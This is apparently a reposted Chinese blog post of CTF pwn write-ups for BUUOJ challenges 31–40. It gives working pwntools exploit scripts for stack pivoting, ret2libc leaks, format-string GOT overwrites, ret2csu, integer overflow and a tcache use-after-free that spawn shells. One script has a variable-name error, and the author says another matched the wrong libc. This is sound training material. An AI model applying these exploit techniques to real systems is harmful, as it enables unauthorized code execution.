31 [Black Watch 入群題]PWN
這個題有問題,就給了個附件,給的鏈接nc都連不上,做做題算了,
保護

可以往bss上寫東西,然后有個溢位,但是溢位有限,只能覆寫到回傳地址,
因為開了NX,所以不能寫shellcode,因為溢位有限,所以先想到的是堆疊遷移,
把堆疊遷移到bss上,構造ROP,通過write函式泄露libc地址,然后就在bss上一把梭,
寫法很多,我這里的話就直接先把’/bin/sh\x00’先寫在了bss的位置,
exp
from pwn import*
from LibcSearcher import*
#r = remote('node3.buuoj.cn', 26463)
r = process('./31')
context.log_level = "debug"
elf = ELF('./31')
bss_addr = 0x804A300
leave_ret = 0x08048408
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.sym['main']
gdb.attach(r)
payload1 = '/bin/sh\x00' + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
r.sendafter('What is your name?', payload1)
payload2 = 'a' * 0x18 + p32(bss_addr + 4) + p32(leave_ret)
r.sendafter('What do you want to say?', payload2)
write_addr = u32(r.recv(4))
libc = LibcSearcher("write", write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
print hex(write_addr)
payload1 = '/bin/sh\x00' + p32(system_addr) + 'aaaa' + p32(bss_addr)
r.sendafter('What is your name?', payload1)
payload2 = 'a' * 0x18 + p32(bss_addr + 4) + p32(leave_ret)
r.sendafter('What do you want to say?', payload2)
r.interactive()
題目有問題,沒有給libc,LibcSearcher匹配到的libc也不對,但是思路跟腳本肯定沒問題,
然后要注意一個東西
第二個send那里,寫send的話就對,但是寫sendline就不對,為啥呢,因為read只讀20個,但是你發了21個,最后一個’\n’會在下一個send時候一起發出去,錯誤的時候效果圖如下,

就會出現這種問題,
32 [BJDCTF 2nd]r2t4
保護


格式化字串漏洞,剛開始的想法是只要把回傳地址改成后門函式那里就好了,但是需要寫的是一個大數字,題目給的一些條件不允許我們在堆疊上寫一個大數字,
所以我們只能是改一改其他地方的東西,
第一種是改__stack_chk_fail
這個函式是如果存在堆疊溢位的話就執行這個,說白了是因為開啟了canary帶來的效果,所以我們就把這個函式的got表改成后門函式,其實寫大數的話保險點應該是一個位元組一個位元組寫,但是buf大小限制,所以還是兩個位元組那樣寫吧,
from pwn import *
r = remote("node3.buuoj.cn",26360)
elf = ELF('./33')
__stack_chk_fail = elf.got['__stack_chk_fail']
payload = "%64c%9$hn%1510c%10$hnAAA" + p64(__stack_chk_fail+2) + p64(__stack_chk_fail)
r.sendline(payload)
r.interactive()
還有一種比較厲害,實作起來也稍稍復雜的更普遍性的做法,
可以利用第一次格式化字串漏洞把.fini_array給改掉,改成main函式,那么我們首先就實作了一個回圈利用,讓我們可以有更多的格式化字串漏洞,更多的利用方式,然后我們可以把printf的got改掉,改成system,這樣就可以了,
這個題的話也可以直接把.fini_array改成backdoor,
exp的話跟上面那個其實差不多,就不再寫了,
33 jarvisoj_level3
保護


明顯的一個堆疊溢位,溢位大小還正好能夠通過write函式泄露地址然后一把梭,
exp
from pwn import*
#r = remote('node3.buuoj.cn',27964)
r = process('./32')
elf = ELF('./32')
libc = ELF('./libc-2.29.32.so')
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.sym['main']
payload = 'a' * 0x8c + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
r.sendafter('Input:\n', payload)
write_addr = u32(r.recv(4))
print hex(write_addr)
libc_base = write_addr - libc.sym['write']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search("/bin/sh").next()
print hex(libc_base)
payload = 'a' * 0x8c + p32(system_addr) + p32(main_addr) + p32(bin_sh)
r.sendafter('Input:\n', payload)
r.interactive()
34 jarvisoj_fm
保護

大寫的格式化字串漏洞,
進行一個任意地址的小數字寫入,

x在data段,是可讀寫的,
所以直接寫就好了,
exp
from pwn import*
r = remote('node3.buuoj.cn', 29261)
x_addr = 0x804A02C
payload = 'aaaa%14$naaa' + p32(x_addr)
r.sendline(payload)
r.interactive()
35 [BJDCTF 2nd]test

ssh是個啥,我也不知道
ssh1
那么開始解題
ssh -p 26161 ctf@node3.buuoj.cn
先連上,

里面三個檔案,flag,test,跟test的原始碼,直接讀flag不能,權限不夠,那么只能考慮通過test提權,

程式大概內容就是能夠輸入指令,這個時候的指令是足夠提權的,但是程式對指令做了過濾,
ls /usr/bin/ /bin/ | grep -v -E "n|e|p|b|u|s|h|i|f|l|a|g"
-v 命令排除
-E 多個內容
/usr/bin/ /bin/ 可以把所有命令列出來
這個句子可以查詢一下還有啥命令能用

發現里面有x86_64命令,這個命令是干嘛的,
其實我也不大清楚,看了看x86_64的手冊
更改報告的體系結構并設定個性標志,
先記著吧,

拿到flag
36 jarvisoj_tell_me_something
保護

進去就有個溢位
又發現有個這函式,分析一下,
首先開了個檔案,指標v0,
fgetc函式
C 庫函式 int fgetc(FILE *stream) 從指定的流 stream 獲取下一個字符(一個無符號字符),并把位置識別符號往前移動,
所以看半天就是會輸出flag
我們就覆寫過去就行,
但是要注意的是什么呢

看他最后的回傳,并不是常用的leave|ret,而是直接add|ret,這其實是編譯的優化,用來省暫存器,
所以寫exp的時候就不用考慮覆寫rbp了
exp
from pwn import*
r = remote('node3.buuoj.cn', 25451)
good_addr = 0x400620
payload = 'a' * 0x88 + p64(good_addr)
r.sendlineafter('Input your message:\n', payload)
r.interactive()
37 jarvisoj_level4
保護

又是個平平無奇的溢位,
exp
from pwn import *
from LibcSearcher import *
r = remote("node3.buuoj.cn", 26826)
elf = ELF("./37")
read_got = elf.got["read"]
write_plt = elf.plt["write"]
main_addr = elf.symbols["main"]
payload = "a" * 0x8c + p32(write_plt)
payload += p32(main_addr)
payload += p32(1) + p32(read_got) + p32(4)
r.sendline(payload)
read_addr = u32(r.recvuntil("\xf7")[-4:])
#read_addr = u32(r.recv(4)) 也行,但是上面的更普遍一點,
libc = LibcSearcher("read", read_addr)
libc_base = read_addr - libc.dump("read")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload = "a" * 0x8c + p32(system_addr)
payload += p32(main_addr)
payload += p32(binsh_addr)
r.sendline(payload)
r.interactive()
38 bjdctf_2020_babystack2
保護


判斷輸入的大小,你看它寫的太明顯了,上面nbytes前面是int,下面就又是unsigned int,整數溢位,然后又有后門函式,就搞定了,
exp
from pwn import*
context.log_level = "debug"
r = remote('node3.buuoj.cn', 28944)
backdoor = 0x400726
payload = 'a' * 0x18 + p64(backdoor)
r.sendlineafter('[+]Please input the length of your name:\n', '-1')
#記得-1要加引號
r.sendlineafter('[+]What\'s u name?', payload)
r.interactive()
39 jarvisoj_level3_x64
保護


這題也是一言難盡,
ROPgadget

你會發現他沒有rdx,
但是其實我們在動態除錯的時候你會發現,rdx是200,是足夠大的,

所以可以直接寫,
那我們再來說一說萬一不是0x200咋辦,
就可以直接ret2csu,

通過libc_csu_init里面的gadget來構造我們的ROP,
exp
from pwn import *
from LibcSearcher import *
r = remote("node3.buuoj.cn", 25360)
elf = ELF("./level3_x64")
read_got = elf.got["read"]
write_plt = elf.plt["write"]
main_addr = elf.symbols["main"]
pop_rdi_ret = 0x4006b3
pop_rsi_r15_ret = 0x4006b1
payload = "a" * 0x88
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_r15_ret) + p64(read_got) + p64(0)
payload += p64(write_plt)
payload += p64(main_addr)
r.sendlineafter("Input:", payload)
read_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8, "\x00"))
libc = LibcSearcher("read", read_addr)
libc_base = read_addr - libc.dump("read")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload = "a" * 0x88
payload += p64(pop_rdi_ret) + p64(binsh_addr)
payload += p64(system_addr)
r.sendlineafter("Input:", payload)
r.interactive()
40 [BJDCTF 2nd]ydsneedgirlfriend2
保護


選單題
果真他就又是個堆,
三個函式,增,刪,跟展示,
一個一個分析,
這個是增,

剛開始就判斷數量,然后還判斷其他亂七八糟的,然后就增加女朋友,但是你發現,它始終是在對gf[0]進行操作,所以其實它看著是最多七個女朋友,其實就一個,
gf的結構是這樣的,

再看看dele函式,

這函式看似沒啥問題,但是首先從邏輯上來說,我們本來就一個女朋友,所以free的時候根本就可以在free別的地方,
然后呢,free后也沒有清理指標,就造成了UAF,
這輸出也是看似正常,如果gf[v]里面有東西的話,就呼叫那個函式,輸出名字,
但是其實一般來講不會有東西的,因為我們始終只有一個女朋友,所以你輸其它的女朋友就啥都打不出來,
那么怎么利用?
我們發現有后門函式,

便于理解,利用程序展示一下,
申請一個0x10的名字,然后都釋放掉,它倆都是0x20大小,就會進入tcachebins,先釋放的是0x1fd4280.

0x1fd4260里面還放著后面那個80的地址,

再add一下,就變成了下面這樣
會發現tcache是后進先出,而且你會發現,為啥第一次add就是會申請兩個chunk,但是第二次明顯只申請了一個chunk,
是因為這個,
所以現在gf[0]里面放著的是第一的時候申請的chunk地址即0x1fd4260,

然后gf放puts函式的地方現在放著的是system的地址,通過最后那一次show,就可以拿到shell,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/257403.html
標籤:其他
上一篇:meta標簽總結
